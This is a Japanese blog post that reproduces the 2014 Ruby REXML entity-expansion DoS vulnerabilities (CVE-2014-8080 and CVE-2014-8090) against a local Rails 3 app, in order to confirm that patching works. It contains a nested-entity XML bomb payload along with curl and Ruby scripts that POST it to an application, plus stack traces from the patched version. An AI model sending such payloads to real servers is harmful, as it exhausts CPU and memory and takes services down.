少し前(2014年10月頃)になりますが、RubyのDoS脆弱性としてREXMLに関連するものが出ていました。
Ruby on Rails3系だと、XMLが送られてくると、コントローラーに来る前に基本的には勝手に解釈してくれます。
なので、『送りつけたらどうなるかなぁ?』と思ったお話です。
なお4系列だと、XMLは自動で解釈しない(parseを無くしたはず)ので、actionapack-xml-parserを利用するようにしていたり、自前でREXMLを利用していない限りは気にしなくても良いですし、rubyのパッチバージョンを最新にすれば問題は起きないです。
とりあえずローカルで発生するのかを見る
cve-2014-8080
- コミットの中にテストコードがあるので、そこにあるXMLを叩いてみます。
require "rexml/document"
xml = <<-XML
<!DOCTYPE root[
<!ENTITY % a "BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.">
<!ENTITY % b "%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;">
<!ENTITY % c "%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;">
<!ENTITY % d "%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;">
<!ENTITY % e "%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;">
<!ENTITY % f "%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;">
<!ENTITY % g "%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;">
<!ENTITY test "test %g;">
]>
<cd></cd>
XML
REXML::Document.new(xml)
実行すると、CPU使用率が100%付近に張り付きます
対策済みのパッチバージョンで実行すると以下のようなメッセージが出るだけです
$ ruby cve-2014-8080_rexml.rb
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:95:in `rescue in parse': #<RuntimeError: entity expansion has grown too large> (REXML::ParseException)
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:145:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `block in parse'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `parse'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
cve-2014-8080_rexml.rb:17:in `new'
cve-2014-8080_rexml.rb:17:in `<main>'
...
entity expansion has grown too large
Line: 10
Position: 495
Last 80 unconsumed characters:
from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:20:in `parse'
from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
from cve-2014-8080_rexml.rb:17:in `new'
from cve-2014-8080_rexml.rb:17:in `<main>'
cve-2014-8090
- こちらも似たような結果で、対策済みパッチバージョンで実行すると少しエラーメッセージが変わる感じです
$ ruby cve-2014-8090_rexml.rb -l
start rexml : 2014-12-05 20:47:20 +0900
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:95:in `rescue in parse': #<RuntimeError: number of entity expansions exceeded, processing aborted.> (REXML::ParseException)
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:239:in `record_entity_expansion'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:76:in `unnormalized'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:143:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:77:in `unnormalized'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:143:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:77:in `unnormalized'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:143:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:77:in `unnormalized'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:143:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `block in parse'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `parse'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
cve-2014-8090_rexml.rb:43:in `new'
cve-2014-8090_rexml.rb:43:in `<main>'
...
number of entity expansions exceeded, processing aborted.
Line: 10
Position: 450
Last 80 unconsumed characters:
from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:20:in `parse'
from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
from cve-2014-8090_rexml.rb:43:in `new'
from cve-2014-8090_rexml.rb:43:in `<main>'
XMLを送りたい時
ローカルで起動させたRailsアプリに贈る
- ただし、CPUを張り付かせたいので、XMLを自動解釈してくれるように、Rails3系のもの
curlで
手っ取り早いですよね。雰囲気としては以下
curl -L http://localhost:3000/ -H 'ContentType:application/xml'\
-X POST -d '<!DOCTYPE root[
<!ENTITY % a "BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.">
<!ENTITY % b "%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;">
<!ENTITY % c "%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;">
<!ENTITY % d "%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;">
<!ENTITY % e "%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;">
<!ENTITY % f "%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;">
<!ENTITY % g "%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;">
<!ENTITY test "test %g;">
]>'
今回は特に問題となりませんが、XMLが長くなってくるとエラーになってしまい実行出来ないと思います。
rubyで送る
require "net/http"
require "uri"
require "pp"
xml = <<-XML
<!DOCTYPE root[
<!ENTITY % a "BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.">
<!ENTITY % b "%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;">
<!ENTITY % c "%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;">
<!ENTITY % d "%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;">
<!ENTITY % e "%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;">
<!ENTITY % f "%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;">
<!ENTITY % g "%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;">
<!ENTITY test "test %g;">
]>
<cd></cd>
XML
uri = URI.parse("http://localhost:3000/")
Net::HTTP.start(uri.host, uri.port){|http|
header = {
"Content-Type" => "application/xml"
}
body = xml
pp http.post(uri.path, body, header)
}
Railsのログは貼りませんが、CPUが100%に張り付き、メモリ使用量が20倍程(実験環境だと約800MB)になる事は確認しました。
送る側のプロセスはすぐにタイムアウトになる割にRailsプロセスは10分程上記の状態になっていたので、連投されると嫌ですね。
パッチバージョンを上げた後は、「500 Internal Server Error」が返ってくるようになりました。
なお、Railsのコントローラーに来る前に、エラーを返す事になるはずなので、ハンドリングは少し工夫が要ると思います。
まとめ
- XMLを簡単にPOSTするコードでした
- パッチバージョンはこまめに上げていきましょう